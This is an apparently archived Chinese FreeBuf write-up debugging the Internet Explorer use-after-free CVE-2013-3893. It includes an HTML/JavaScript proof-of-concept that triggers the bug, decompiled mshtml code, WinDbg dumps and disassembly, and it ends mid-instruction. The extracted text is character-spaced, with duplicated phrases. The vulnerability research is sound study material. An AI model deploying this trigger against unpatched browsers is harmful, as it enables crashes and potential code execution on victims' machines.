搜索

[8522] 2014-12-24_IE漏洞调试之CVE-2013-3893

文档创建者：s7ckTeam
浏览次数：33
最后更新：2025-01-17
2014-12-24_IE漏洞调试之CVE-2013-3893 I E 漏 洞 调 试 之 C V E - 2 0 1 3 - 3 8 9 3 F r e e B u f   2 0 1 4 - 1 2 - 2 4 前 言 前 言 W i n d o w s 平 台 的 漏 洞 挖 掘 和 安 全 研 究 中 ， 平 台 的 漏 洞 挖 掘 和 安 全 研 究 中 ， I E 始 终 是 绕 不 开 的 话 题 。 始 终 是 绕 不 开 的 话 题 。 I E 漏 洞 就 跟 漏 洞 就 跟 a d o b e 系 列 一 样 经 典 ， 是 学 习 系 列 一 样 经 典 ， 是 学 习 e x p l o i t 、 、 s h e l l c o d e 的 绝 佳 途 径 。 的 绝 佳 途 径 。 在 I E 漏 洞 中 ， U A F 即 U s e - A f t e r - F r e e 是 最 为 经 典 的 一 类 。 U A F 可 以 这 样 简 单 理 解 ： A 先 后 调 用 B 、 C 、 D 三 个 子 函 数 ， B 会 把 A 的 某 个 资 源 释 放 掉 ； 而 D 由 于 判 断 不 严 谨 即 使 在 B 把 A 的 资 源 释 放 后 依 然 去 引 用 它 ， 比 如 某 个 指 针 ， 这 时 D 引 用 了 很 危 险 的 悬 空 指 针 ； C 是 个 什 么 角 色 呢 ？ 我 们 可 以 通 过 B 分 配 数 据 。 所 以 利 用 方 法 来 了 ： 构 造 奇 葩 的 数 据 ， 让 A 调 用 B ， B 把 A 的 某 个 指 针 释 放 掉 ； 接 着 执 行 C ， C 赶 紧 分 配 内 存 ， 企 图 使 用 刚 才 释 放 掉 的 内 存 ， 同 时 我 们 可 以 控 制 这 个 内 存 ； 最 后 D 被 调 用 ， 由 于 检 查 不 严 格 调 用 了 已 经 释 放 掉 的 某 指 针 ， 而 该 指 针 实 际 上 已 经 被 我 们 重 用 并 且 扭 曲 。 漏 洞 被 利 用 。 但 是 学 习 但 是 学 习 I E 的 资 料 非 常 少 ， 已 知 的 大 都 是 大 牛 们 逆 向 的 资 料 非 常 少 ， 已 知 的 大 都 是 大 牛 们 逆 向 m s h t m l . d l l 来 的 ， 辛 辛 苦 苦 得 来 的 东 西 也 不 方 便 马 上 透 露 出 来 ， 来 的 ， 辛 辛 苦 苦 得 来 的 东 西 也 不 方 便 马 上 透 露 出 来 ， 所 以 自 力 更 生 是 很 重 要 的 。 我 们 希 望 了 解 所 以 自 力 更 生 是 很 重 要 的 。 我 们 希 望 了 解 I E 运 行 机 制 ， 自 己 运 行 机 制 ， 自 己 f u z z 并 找 到 有 价 值 的 漏 洞 。 并 找 到 有 价 值 的 漏 洞 。 与 此 同 时 ， 能 够 调 试 已 公 布 的 漏 洞 ， 学 习 已 有 的 P O C ， 也 是 很 重 要 的 能 力 。 所 以 这 里 选 择 C V E - 2 0 1 3 - 3 8 9 3 这 个 经 典 的 U A F 来 学 习 I E 漏 洞 的 调 试 。 工 具 工 具 w i n d b g 、 i d a 、 各 版 本 I E 程 序 、 x p / v i s t a / w i n 7 / w i n 8 虚 拟 机 w i n d b g 用 于 动 态 调 试 ； I D A 用 于 静 态 分 析 m s h t m l . d l l — — 实 现 I E 解 释 器 的 d l l ； 各 版 本 I E 和 w i n d o w s 是 必 不 可 少 的 。 基 础 知 识 基 础 知 识 出 现 一 个 新 的 漏 洞 ， 涉 及 到 的 解 析 过 程 我 们 并 不 一 定 分 析 过 ， 所 以 分 析 漏 洞 的 同 时 也 是 学 习 浏 览 器 机 制 的 好 机 会 。 比 如 C V E - 2 0 1 3 - 3 8 9 3 这 个 漏 洞 ， 我 们 需 要 了 解 C T r e e N o d e 和 元 素 的 关 系 以 及 几 个 关 键 的 函 数 实 现 。 具 体 的 结 合 P O C 和 调 试 过 程 分 析 。 P O C < h t m l > < s c r i p t > f u n c t i o n   t r i g g e r ( ) {         M a t h . t a n ( 3 , 4 ) ;         v a r   i d _ 0   =   d o c u m e n t . c r e a t e E l e m e n t ( " s u p " ) ;         v a r   i d _ 1   =   d o c u m e n t . c r e a t e E l e m e n t ( " a u d i o " ) ;         M a t h . s i n ( 0 ) ;         d o c u m e n t . b o d y . a p p e n d C h i l d ( i d _ 0 ) ;         d o c u m e n t . b o d y . a p p e n d C h i l d ( i d _ 1 ) ;         M a t h . c o s ( 0 ) ;         i d _ 1 . a p p l y E l e m e n t ( i d _ 0 ) ;         M a t h . t a n ( 3 , 4 ) ;         i d _ 0 . o n l o s e c a p t u r e = f u n c t i o n ( e ) {                 d o c u m e n t . w r i t e ( " " ) ;         }         M a t h . s i n ( 0 ) ;           i d _ 0 [ ‘ o u t e r T e x t ’ ] = " " ;         M a t h . c o s ( 0 ) ;         i d _ 0 . s e t C a p t u r e ( ) ;         M a t h . t a n ( 3 , 4 ) ;         i d _ 1 . s e t C a p t u r e ( ) ;         M a t h . s i n ( 0 ) ; } w i n d o w . o n l o a d   =   f u n c t i o n ( )   {         t r i g g e r ( ) ; } < / s c r i p t > < / h t m l >
调 试 技 巧 调 试 技 巧 用 用 w i n d b g 载 入 载 入 I E 时 设 置 时 设 置 j s c r i p t ! t a n 、 、 j s c r i p t ! s i n 、 、 j s c r i p t ! c o s 断 点 ， 逐 语 句 分 析 。 也 可 以 将 断 点 ， 逐 语 句 分 析 。 也 可 以 将 P O C 页 面 设 置 为 页 面 设 置 为 I E 主 页 ， 便 于 直 主 页 ， 便 于 直 接 载 入 。 结 合 接 载 入 。 结 合 I D A 对 对 m s h t m l . d l l 分 析 相 关 函 数 。 分 析 相 关 函 数 。 漏 洞 原 理 漏 洞 原 理 i d _ 1 . s e t C a p t u r e 时 ， 进 入 C D o c : : P u m p M e s s a g e ； 获 取 E l e m e n t 的 T r e e N o d e ， 调 用 C D o c : : R e l e a s e D e t a c h e d C a p t u r e s ( ) ； 参 数 为 0 调 用 C D o s : : S e t M o u s e C a p t u r e ， 进 入 C D o s : : C l e a r M o u s e C a p t u r e ， 调 用 C E l e m e n t : : F i r e E v e n t ， 触 发 事 件 导 致 i d _ 0 . o n l o s e c a p t u r e 指 定 的 j s 函 数 调 用 ， d o c u m e n t . w r i t e ( “ ” ) ， 该 函 数 将 所 有 对 象 释 放 C B o d y E l e m e n t 的 C T r e e N o d e 也 被 释 放 。 然 后 返 回 P u m p M e s s a g e ， C D o s : : H a s C o n t a i n e r C a p t u r e 被 调 用 ， 它 引 用 了 释 放 的 C T r e e N o d e 对 象 。 U A F 发 生 。 看 下 面 I D A 静 态 分 析 的 代 码 。 i n t   _ _ u s e r p u r g e   C D o c : : S e t M o u s e C a p t u r e < e a x > ( i n t   a 1 < e a x > ,   L P V O I D   l p M e m ,   i n t   a 3 ,   i n t   a 4 ,   i n t   a 5 ,   i n t   a 6 ,   i n t   a 7 ) {     i n t   v 7 ;   / /   e b x @ 1     i n t   f l a g ;   / /   e d i @ 1     i n t   r e s u l t ;   / /   e a x @ 3     i n t   v 1 0 ;   / /   e s i @ 9     i n t   v 1 1 ;   / /   e c x @ 1 6     i n t   v 1 2 ;   / /   e a x @ 2 2     i n t   v 1 3 ;   / /   S T 1 4 _ 4 @ 2 8     c h a r   v 1 4 ;   / /   [ s p + 1 0 h ]   [ b p - 9 8 h ] @ 2 1     i n t   v 1 5 ;   / /   [ s p + 1 4 h ]   [ b p - 9 4 h ] @ 2 1     i n t   v 1 6 ;   / /   [ s p + A 4 h ]   [ b p - 4 h ] @ 5     v o i d   * l p M e m a ;   / /   [ s p + B 0 h ]   [ b p + 8 h ] @ 7       v 7   =   ( i n t ) l p M e m ;     f l a g   =   a 1 ;     i f   (   * ( ( _ W O R D   * ) l p M e m   +   9 3 8 )   &   0 x 1 0 0 0   )         f l a g   =   0 ;     i f   (   f l a g   )     {         v 1 6   =   ( * ( ( _ D W O R D   * ) l p M e m   +   6 5 )   > >   2 )   -   1 ;         r e s u l t   =   v 1 6 ;         i f   (   v 1 6   <   0   )             g o t o   L A B E L _ 3 3 ;         v 1 1   =   * ( ( _ D W O R D   * ) l p M e m   +   6 7 )   +   4   *   v 1 6 ;         d o         {             i f   (   * ( _ D W O R D   * ) ( * ( _ D W O R D   * ) v 1 1   +   8 )   = =   f l a g   )                 b r e a k ;             - - r e s u l t ;             v 1 1   - =   4 ;         }         w h i l e   (   r e s u l t   > =   0   ) ;         i f   (   r e s u l t   <   0   )         { L A B E L _ 3 3 :             r e s u l t   =   A T L _ m a l l o c ( 0 x 1 0 u ) ;             i f   (   r e s u l t   )             {                 r e s u l t   =   C E l e m e n t C a p t u r e : : C E l e m e n t C a p t u r e ( r e s u l t ,   a 6 ,   a 7 ,   a 3 ,   a 4 ) ;                 l p M e m a   =   ( v o i d   * ) r e s u l t ;             }             e l s e             {                 l p M e m a   =   0 ;             }             i f   (   l p M e m a   )             {                 v 1 0   =   C D o c : : G e t L a s t C a p t u r e ( v 7 ) ;                 i f   (   v 1 0   & &   C D o c : : H a s C o n t a i n e r C a p t u r e ( v 7 )   )
                {                     C M e s s a g e : : C M e s s a g e ( & v 1 4 ,   0 ) ;                     v 1 5   =   5 3 3 ;                     C D o c : : P u m p M e s s a g e ( v 7 ,   ( i n t ) & v 1 4 ,   0 ,   0 ) ;                     i f   (   v 1 0   = =   C D o c : : G e t L a s t C a p t u r e ( v 7 )   )                     {                         v 1 2   =   * ( _ D W O R D   * ) ( v 1 0   +   1 2 ) ;                         i f   (   ! ( v 1 2   &   2 )   )                         {                             i f   (   ! ( * ( _ D W O R D   * ) ( * ( _ D W O R D   * ) ( v 1 0   +   8 )   +   2 8 )   &   0 x 8 0 0 0 0 0 0 )   )                             {                                 * ( _ D W O R D   * ) ( v 1 0   +   1 2 )   =   v 1 2   |   2 ;                                 * ( _ D W O R D   * ) ( v 7   +   1 8 7 6 )   | =   0 x 1 0 0 0 u ;                                 C E l e m e n t : : F i r e E v e n t ( & s _ p r o p d e s c C E l e m e n t o n l o s e c a p t u r e ,   1 ,   0 ,   - 1 ,   0 ,   0 ) ;                                 * ( _ D W O R D   * ) ( v 7   +   1 8 7 6 )   & =   0 x F F F F E F F F u ;                             }                         }                     }                     i f   (   * ( _ D W O R D   * ) ( v 7   +   2 6 0 )   &   0 x F F F F F F F C   )                     {                         i f   (   v 1 0   = =   C D o c : : G e t L a s t C a p t u r e ( v 7 )   )                         {                             C E l e m e n t C a p t u r e : : _ C E l e m e n t C a p t u r e ( ) ;                             C B l o c k E l e m e n t : : o p e r a t o r   d e l e t e ( ( L P V O I D ) v 1 0 ) ;                             C I m p l P t r A r y : : D e l e t e ( v 1 3 ,   v 7   +   2 5 6 ) ;                         }                         C I m p l P t r A r y : : A p p e n d ( ) ;                     }                     e l s e                     {                         C E l e m e n t C a p t u r e : : _ C E l e m e n t C a p t u r e ( ) ;                         C B l o c k E l e m e n t : : o p e r a t o r   d e l e t e ( l p M e m a ) ;                     }                     r e s u l t   =   C M e s s a g e : : _ C M e s s a g e ( ) ;                 }                 e l s e                 {                     r e s u l t   =   C I m p l P t r A r y : : A p p e n d ( ) ;                     i f   (   ! v 1 0   )                         r e s u l t   =   C S e r v e r : : S e t C a p t u r e ( 1 ) ;                 }             }         }     }     e l s e     {         r e s u l t   =   C D o c : : C l e a r M o u s e C a p t u r e ( l p M e m ,   0 ) ;     }     r e t u r n   r e s u l t ; } 调 试 过 程 调 试 过 程 0 : 0 0 8 >   b l   1   e   6 3 3 b 8 7 c a           0 0 0 1   ( 0 0 0 1 )     0 : * * * *   j s c r i p t ! s i n   2   e   6 3 3 b 5 c e a           0 0 0 1   ( 0 0 0 1 )     0 : * * * *   j s c r i p t ! t a n   3   e   6 3 3 b 8 8 2 0           0 0 0 1   ( 0 0 0 1 )     0 : * * * *   j s c r i p t ! C o s 三 个 断 点 下 好 。 根 据 P O C 的 执 行 流 程 来 。 首 先 是 c r e a t e E l e m e n t ， 我 们 在 C D o c u m e n t : : c r e a t e E l e m e n t 下 断 ， 获 取 l d _ 0 和 l d _ 1 的 e l e m e n t 对 象 地 址 。
l d _ 0   e l e m e n t 对 象 地 址 为   0 0 2 0 a a d 8 。 同 时 可 以 看 到 c r e a t e E l e m e n t 的 调 用 栈 。 在 同 一 位 置 下 断 ， 获 取 l d _ 1 的 对 象 地 址 。 0 : 0 0 8 >   b p   e i p L d _ 1 对 象 地 址 为   0 0 2 1 c e e 8 。 下 面 的 语 句 ： d o c u m e n t . b o d y . a p p e n d C h i l d ( i d _ 0 ) ; d o c u m e n t . b o d y . a p p e n d C h i l d ( i d _ 1 ) ;   在 C E l e m e n t : : a p p e n d C h i l d 下 断 。 获 取 e l e m e n t 对 应 的 C T r e e N o d e 对 象 。 该 函 数 最 后 调 用   m s h t m l ! C M a r k u p : : I n s e r t E l e m e n t I n t e r n a l 完 成 操 作 ， 在 I n s e r t E l e m e n t I n t e r n a l 内 部 调 用 C T r e e N o d e 构 造 函 数 。 l d _ 0   对 应 的   C T r e e N o d e 对 象 地 址 为   0 3 2 9 1 f c 8 。
l d _ 1 对 应 的   C T r e e N o d e 对 象 地 址 为 0 3 2 9 2 0 2 0 。 同 时 可 以 发 现   C T r e e N o d e - > C E l e m e n t 。 E l e m e n t 偏 移 为 0 。 0 : 0 0 8 >   d c   0 0 2 1 c e e 8 0 0 2 1 c e e 8     6 3 5 d b 4 c 8   0 0 0 0 0 0 0 2   0 0 0 0 0 0 0 8   0 2 d 1 4 e 2 0     . . ] c . . . . . . . .   N . . 0 0 2 1 c e f 8     0 0 3 b d 0 6 0   0 3 2 9 2 0 2 0   0 0 0 0 0 0 7 5   0 0 0 1 0 2 0 0     ` . ; .     ) . u . . . . . . . E l e m e n t 偏 移 0 x 1 4 为 其 对 应 的 C T r e e N o d e 结 构 。 i d _ 1 . a p p l y E l e m e n t ( i d _ 0 ) ; 语 句 和 a p p e n d C h i l d 执 行 过 程 差 不 多 ， 我 猜 测 a p p e n d C h i l d 是 将 两 个 元 素 插 入 D O M 树 ， 而 a p p l y E l e m e n t 是 将 i d 0 和 i d 1 的 C T r e e N o d e 对 象 变 成 父 子 关 系 。 看 看 l d 0 和 l d 1 的 对 象 和 C T r e e N o d e 对 象 发 生 了 什 么 变 化 ： 之 前 ： 之 前 ： L d 0   c t r e e n o d e 0 : 0 0 8 >   d c   0 3 2 9 1 f c 8   l 8 0 3 2 9 1 f c 8     0 0 2 0 a a d 8   0 0 2 0 3 f 1 0   f f f f 0 0 6 0   f f f f f f f f     . .   . . ?   . ` . . . . . . . 0 3 2 9 1 f d 8     0 0 0 0 0 0 0 0   0 0 0 0 0 0 0 0   0 0 0 0 0 0 0 0   0 0 0 0 0 0 0 0     . . . . . . . . . . . . . . . .   L d 1   c t r e e n o d e 0 : 0 0 8 >   d c   0 3 2 9 2 0 2 0 0 3 2 9 2 0 2 0     0 0 2 1 c e e 8   0 0 2 0 3 f 1 0   f f f f 0 2 7 5   f f f f f f f f     . . ! . . ?   . u . . . . . . . 0 3 2 9 2 0 3 0     0 0 0 0 0 0 6 1   0 0 0 0 0 0 0 0   0 2 d a 6 f e 0   0 2 c c d 4 f 8     a . . . . . . . . o . . . . . . 完 成 这 个 操 作 之 后 ： 完 成 这 个 操 作 之 后 ： L d 0   c t r e e n o d e 0 : 0 0 8 >   d c   0 3 2 9 1 f c 8   l 8 0 3 2 9 1 f c 8     0 0 2 0 a a d 8   0 0 2 0 3 f 1 0   0 0 0 2 0 2 6 0   0 0 0 3 0 0 0 1     . .   . . ?   . ` . . . . . . . 0 3 2 9 1 f d 8     0 0 0 0 0 0 6 1   0 0 0 0 0 0 0 0   0 3 2 9 2 0 4 8   0 2 d a 6 e c 8     a . . . . . . . H   ) . . n . .   L d 1   c t r e e n o d e 0 : 0 0 8 >   d c   0 3 2 9 2 0 2 0   l 8 0 3 2 9 2 0 2 0     0 0 2 1 c e e 8   0 3 2 9 1 f c 8   0 0 0 2 0 2 7 5   0 0 0 0 0 0 0 1     . . ! . . . ) . u . . . . . . . 0 3 2 9 2 0 3 0     0 0 0 0 0 0 5 1   0 0 0 0 0 0 0 0   0 0 0 0 0 0 0 0   0 3 2 9 1 f f 0     Q . . . . . . . . . . . . . ) . 一 个 疑 似 链 表 结 构 出 现 。 D O M 对 象 也 是 链 接 起 来 的 。 也 说 明 0 0 2 0 3 f 1 0 是 C B o d y E l e m e n t 对 应 的 C T r e e N o d e 。 0 : 0 0 8 >   d c   0 0 2 0 3 f 1 0   l 8
0 0 2 0 3 f 1 0     0 2 d a 6 6 8 0   0 0 2 0 3 e 6 0   0 0 0 1 6 2 1 0   0 0 0 1 0 0 0 0     . f . . ` >   . . b . . . . . . 0 0 2 0 3 f 2 0     0 0 0 0 0 5 5 1   0 0 0 0 0 0 0 8   0 0 2 0 3 e 1 8   0 3 2 9 1 f d 8     Q . . . . . . . . >   . . . ) . 接 下 来 是 一 个 设 置 ， l d 0 的 o n l o s e c a p t u r e 失 去 聚 焦 时 执 行 的 函 数 ， 页 面 清 空 。 然 后 i d _ 0 [ ' o u t e r T e x t ' ] = " " ; ， j s 不 太 熟 悉 ， 这 个 操 作 执 行 之 后 i d 0 应 该 会 从 D O M 树 脱 离 下 来 。 I d 1 作 为 儿 子 也 会 脱 离 D O M 树 。 应 该 是 这 样 。 L d 1 先 被 r e l e a s e 。 然 后 是 l d 0 。 此 时 再 看 此 时 再 看 c t r e e n o d e 地 址 ： 地 址 ： 0 : 0 0 8 >   d c   3 2 9 1 f c 8   l 8 0 3 2 9 1 f c 8     0 0 2 0 0 0 2 e   0 0 0 0 0 0 0 0   f f f f 0 0 6 0   f f f f f f f f     . .   . . . . . ` . . . . . . . 0 3 2 9 1 f d 8     0 0 0 0 0 0 5 1   0 0 0 0 0 0 0 0   0 0 0 0 0 0 0 0   0 0 0 0 0 0 0 0     Q . . . . . . . . . . . . . . .   0 : 0 0 8 >   d c   0 3 2 9 2 0 2 0 0 3 2 9 2 0 2 0     0 0 2 1 0 0 3 9   0 0 0 0 0 0 0 0   f f f f 0 0 7 5   f f f f f f f f     9 . ! . . . . . u . . . . . . . 0 3 2 9 2 0 3 0     0 0 0 0 0 0 5 1   0 0 0 0 0 0 0 0   0 0 0 0 0 0 0 0   0 0 0 0 0 0 0 0     Q . . . . . . . . . . . . . . . 已 经 被 释 放 了 。 然 后 进 入 重 点 S e t M o u s e C a p t u r e 。 E a x   =   2 0 a a d 8 。 m s h t m l ! C D o c : : S e t M o u s e C a p t u r e : 6 3 5 d d c a 3   8 b f f                         m o v           e d i , e d i 6 3 5 d d c a 5   5 5                             p u s h         e b p 6 3 5 d d c a 6   8 b e c                         m o v           e b p , e s p 6 3 5 d d c a 8   8 1 e c 9 c 0 0 0 0 0 0         s u b           e s p , 9 C h 6 3 5 d d c a e   5 3                             p u s h         e b x 6 3 5 d d c a f   8 b 5 d 0 8                     m o v           e b x , d w o r d   p t r   [ e b p + 8 ] 6 3 5 d d c b 2   6 6 f 7 8 3 5 4 0 7 0 0 0 0 0 0 1 0   t e s t     w o r d   p t r   [ e b x + 7 5 4 h ] , 1 0 0 0 h 6 3 5 d d c b b   5 6                             p u s h         e s i 6 3 5 d d c b c   5 7                             p u s h         e d i 6 3 5 d d c b d   8 b f 8                         m o v           e d i , e a x 6 3 5 d d c b f   0 f 8 5 6 6 f 6 2 1 0 0         j n e           m s h t m l ! C D o c : : S e t M o u s e C a p t u r e + 0 x 1 e   ( 6 3 7 f d 3 2 b ) 6 3 5 d d c c 5   3 3 f 6                         x o r           e s i , e s i 6 3 5 d d c c 7   3 b f e                         c m p           e d i , e s i 6 3 5 d d c c 9   0 f 8 5 7 d 8 6 0 d 0 0         j n e           m s h t m l ! C D o c : : S e t M o u s e C a p t u r e + 0 x 3 2   ( 6 3 6 b 6 3 4 c )   [ b r = 1 ] 会 跳 转 ： 6 3 6 b 6 3 4 c   8 b 8 3 0 4 0 1 0 0 0 0         m o v           e a x , d w o r d   p t r   [ e b x + 1 0 4 h ]
6 3 6 b 6 3 5 2   c 1 e 8 0 2                     s h r           e a x , 2 6 3 6 b 6 3 5 5   4 8                             d e c           e a x 6 3 6 b 6 3 5 6   3 b c 6                         c m p           e a x , e s i 6 3 6 b 6 3 5 8   8 9 4 5 f c                     m o v           d w o r d   p t r   [ e b p - 4 ] , e a x 6 3 6 b 6 3 5 b   0 f 8 d d 1 6 f 1 4 0 0         j g e           m s h t m l ! C D o c : : S e t M o u s e C a p t u r e + 0 x 4 3   ( 6 3 7 f d 3 3 2 ) 6 3 6 b 6 3 6 1   6 a 1 0                         p u s h         1 0 h 6 3 6 b 6 3 6 3   e 8 5 d d 0 f 7 f f             c a l l         m s h t m l ! o p e r a t o r   n e w   ( 6 3 6 3 3 3 c 5 ) 6 3 6 b 6 3 6 8   3 b c 6                         c m p           e a x , e s i 6 3 6 b 6 3 6 a   5 9                             p o p           e c x 6 3 6 b 6 3 6 b   7 4 6 6                         j e             m s h t m l ! C D o c : : S e t M o u s e C a p t u r e + 0 x 8 b   ( 6 3 6 b 6 3 d 3 ) 6 3 6 b 6 3 6 d   f f 7 5 1 0                     p u s h         d w o r d   p t r   [ e b p + 1 0 h ] 6 3 6 b 6 3 7 0   8 b 4 d 1 4                     m o v           e c x , d w o r d   p t r   [ e b p + 1 4 h ] 6 3 6 b 6 3 7 3   f f 7 5 0 c                     p u s h         d w o r d   p t r   [ e b p + 0 C h ] 6 3 6 b 6 3 7 6   8 b d 7                         m o v           e d x , e d i 6 3 6 b 6 3 7 8   f f 7 5 1 c                     p u s h         d w o r d   p t r   [ e b p + 1 C h ] 6 3 6 b 6 3 7 b   f f 7 5 1 8                     p u s h         d w o r d   p t r   [ e b p + 1 8 h ] 6 3 6 b 6 3 7 e   5 0                             p u s h         e a x 6 3 6 b 6 3 7 f   e 8 5 9 0 0 0 0 0 0             c a l l         m s h t m l ! C E l e m e n t C a p t u r e : : C E l e m e n t C a p t u r e   ( 6 3 6 b 6 3 d d ) 6 3 6 b 6 3 8 4   8 9 4 5 0 8                     m o v           d w o r d   p t r   [ e b p + 8 ] , e a x 6 3 6 b 6 3 8 7   3 9 7 5 0 8                     c m p           d w o r d   p t r   [ e b p + 8 ] , e s i 6 3 6 b 6 3 8 a   0 f 8 4 4 6 7 9 f 2 f f         j e             m s h t m l ! C D o c : : S e t M o u s e C a p t u r e + 0 x 1 a e   ( 6 3 5 d d c d 6 ) 6 3 6 b 6 3 9 0   8 b c b                         m o v           e c x , e b x 6 3 6 b 6 3 9 0   8 b c b                         m o v           e c x , e b x 6 3 6 b 6 3 9 2   e 8 f 6 e 0 f 3 f f             c a l l         m s h t m l ! C D o c : : G e t L a s t C a p t u r e   ( 6 3 5 f 4 4 8 d ) 6 3 6 b 6 3 9 7   8 b f 0                         m o v           e s i , e a x 6 3 6 b 6 3 9 9   8 5 f 6                         t e s t         e s i , e s i 6 3 6 b 6 3 9 b   8 9 7 5 1 0                     m o v           d w o r d   p t r   [ e b p + 1 0 h ] , e s i 6 3 6 b 6 3 9 e   0 f 8 5 b 0 6 f 1 4 0 0         j n e           m s h t m l ! C D o c : : S e t M o u s e C a p t u r e + 0 x a b   ( 6 3 7 f d 3 5 4 ) 6 3 6 b 6 3 a 4   8 b 7 d 0 8                     m o v           e d i , d w o r d   p t r   [ e b p + 8 ] 6 3 6 b 6 3 a 7   8 d b 3 0 0 0 1 0 0 0 0         l e a           e s i , [ e b x + 1 0 0 h ] 6 3 6 b 6 3 a d   e 8 8 4 5 6 f 8 f f             c a l l         m s h t m l ! C I m p l P t r A r y : : A p p e n d   ( 6 3 6 3 b a 3 6 ) 6 3 6 b 6 3 b 2   8 3 7 d 1 0 0 0                 c m p           d w o r d   p t r   [ e b p + 1 0 h ] , 0 6 3 6 b 6 3 b 6   0 f 8 5 1 a 7 9 f 2 f f         j n e           m s h t m l ! C D o c : : S e t M o u s e C a p t u r e + 0 x 1 a e   ( 6 3 5 d d c d 6 ) 6 3 6 b 6 3 b c   6 a 0 1                         p u s h         1 6 3 6 b 6 3 b e   8 b f 3                         m o v           e s i , e b x 6 3 6 b 6 3 c 0   e 8 8 0 d 9 f f f f             c a l l         m s h t m l ! C S e r v e r : : S e t C a p t u r e   ( 6 3 6 b 3 d 4 5 ) 6 3 6 b 6 3 c 5   e 9 0 c 7 9 f 2 f f             j m p           m s h t m l ! C D o c : : S e t M o u s e C a p t u r e + 0 x 1 a e   ( 6 3 5 d d c d 6 ) 相 当 于 走 了 如 下 流 程 ： i f   (   v 1 0   & &   C D o c : : H a s C o n t a i n e r C a p t u r e ( v 7 )   )   { } E l s e   { r e s u l t   =   C I m p l P t r A r y : : A p p e n d ( ) ; i f   (   ! v 1 0   ) r e s u l t   =   C S e r v e r : : S e t C a p t u r e ( 1 ) ; } 当 i d 1 执 行 S e t M o u s e C a p t u r e 时 ， 情 况 就 不 一 样 了 ， 这 是 G e t L a s t C a p t u r e 不 为 空 。 执 行 如 下 流 程 ： C D o c : : P u m p M e s s a g e ( v 7 ,   ( i n t ) & v 1 4 ,   0 ,   0 ) ;   6 3 6 b 6 3 9 e   0 f 8 5 b 0 6 f 1 4 0 0         j n e           m s h t m l ! C D o c : : S e t M o u s e C a p t u r e + 0 x a b   ( 6 3 7 f d 3 5 4 )   [ b r = 1 ] . . . . . . 6 3 7 f d 3 5 4   8 b 7 f 1 4                     m o v           e d i , d w o r d   p t r   [ e d i + 1 4 h ]   d s : 0 0 2 3 : 0 0 2 1 c e f c = 0 0 0 0 0 0 0 0 6 3 7 f d 3 5 7   8 b c b                         m o v           e c x , e b x 6 3 7 f d 3 5 9   e 8 0 2 7 1 d f f f             c a l l         m s h t m l ! C D o c : : H a s C o n t a i n e r C a p t u r e   ( 6 3 5 f 4 4 6 0 ) 6 3 7 f d 3 5 e   8 5 c 0                         t e s t         e a x , e a x 6 3 7 f d 3 6 0   0 f 8 4 3 e 9 0 e b f f         j e             m s h t m l ! C D o c : : S e t M o u s e C a p t u r e + 0 x 1 9 1   ( 6 3 6 b 6 3 a 4 ) 6 3 7 f d 3 6 6   3 3 f f                         x o r           e d i , e d i 6 3 7 f d 3 6 8   5 7                             p u s h         e d i 6 3 7 f d 3 6 9   8 d 8 5 6 8 f f f f f f         l e a           e a x , [ e b p - 9 8 h ] 6 3 7 f d 3 6 f   5 0                             p u s h         e a x 6 3 7 f d 3 7 0   e 8 b d c 3 e f f f             c a l l         m s h t m l ! C M e s s a g e : : C M e s s a g e   ( 6 3 6 f 9 7 3 2 ) 6 3 7 f d 3 7 5   5 7                             p u s h         e d i 6 3 7 f d 3 7 6   5 7                             p u s h         e d i 6 3 7 f d 3 7 7   8 d 8 5 6 8 f f f f f f         l e a           e a x , [ e b p - 9 8 h ] 6 3 7 f d 3 7 d   5 0                             p u s h         e a x 6 3 7 f d 3 7 e   8 b c b                         m o v           e c x , e b x
6 3 7 f d 3 8 0   c 7 8 5 6 c f f f f f f 1 5 0 2 0 0 0 0   m o v   d w o r d   p t r   [ e b p - 9 4 h ] , 2 1 5 h 6 3 7 f d 3 8 a   e 8 3 8 6 a d f f f             c a l l         m s h t m l ! C D o c : : P u m p M e s s a g e   ( 6 3 5 f 3 d c 7 ) 6 3 7 f d 3 8 f   8 b c b                         m o v           e c x , e b x 进 入 P u m p M e s s a g e 函 数 。 有 点 类 似 w i n 3 2 的 消 息 处 理 。 跟 一 下 会 走 到 什 么 地 方 。 敏 感 调 用 ： 敏 感 调 用 ： 6 3 5 f 3 f 6 8   8 b 4 0 1 4                     m o v           e a x , d w o r d   p t r   [ e a x + 1 4 h ] 6 3 5 f 3 f 6 b   8 9 4 4 2 4 1 0                 m o v           d w o r d   p t r   [ e s p + 1 0 h ] , e a x 6 3 5 f 3 f 8 4   5 7                             p u s h         e d i 6 3 5 f 3 f 8 5   e 8 1 5 f e f f f f             c a l l         m s h t m l ! C D o c : : R e l e a s e D e t a c h e d C a p t u r e s   ( 6 3 5 f 3 d 9 f ) 0 : 0 0 8 >   r   e a x e a x = 0 0 2 0 3 f 1 0 发 现 e a x 正 是 C B o d y E l e m e n t 对 应 的 C T r e e N o d e 。 函 数 内 部 接 着 跟 ， 发 现 这 个 ： 6 3 7 f d 4 8 4   5 2                             p u s h         e d x 6 3 7 f d 4 8 5   3 3 c 9                         x o r           e c x , e c x 6 3 7 f d 4 8 7   5 1                             p u s h         e c x 6 3 7 f d 4 8 8   5 2                             p u s h         e d x 6 3 7 f d 4 8 9   5 2                             p u s h         e d x 6 3 7 f d 4 8 a   6 a 0 1                         p u s h         1 6 3 7 f d 4 8 c   5 0                             p u s h         e a x 6 3 7 f d 4 8 d   3 3 c 0                         x o r           e a x , e a x 6 3 7 f d 4 8 f   e 8 0 f 0 8 d e f f             c a l l         m s h t m l ! C D o c : : S e t M o u s e C a p t u r e   ( 6 3 5 d d c a 3 ) 寄 存 器 值 ： 寄 存 器 值 ： 0 : 0 0 8 >   r e a x = 0 0 0 0 0 0 0 0   e b x = 0 0 0 0 0 0 0 1   e c x = 0 0 0 0 0 0 0 0   e d x = 0 0 0 0 0 0 0 0   e s i = 0 0 2 0 a a d 8   e d i = 0 0 1 9 5 d e 8 又 一 次 调 用 S e t M o u s e C a p t u r e ， 这 时 e a x   =   0 ， 走 的 流 程 我 们 可 以 跟 一 下 ： m s h t m l ! C D o c : : S e t M o u s e C a p t u r e : 6 3 5 d d c a 3   8 b f f                         m o v           e d i , e d i 6 3 5 d d c a 5   5 5                             p u s h         e b p 6 3 5 d d c a 6   8 b e c                         m o v           e b p , e s p 6 3 5 d d c a 8   8 1 e c 9 c 0 0 0 0 0 0         s u b           e s p , 9 C h 6 3 5 d d c a e   5 3                             p u s h         e b x 6 3 5 d d c a f   8 b 5 d 0 8                     m o v           e b x , d w o r d   p t r   [ e b p + 8 ] 6 3 5 d d c b 2   6 6 f 7 8 3 5 4 0 7 0 0 0 0 0 0 1 0   t e s t     w o r d   p 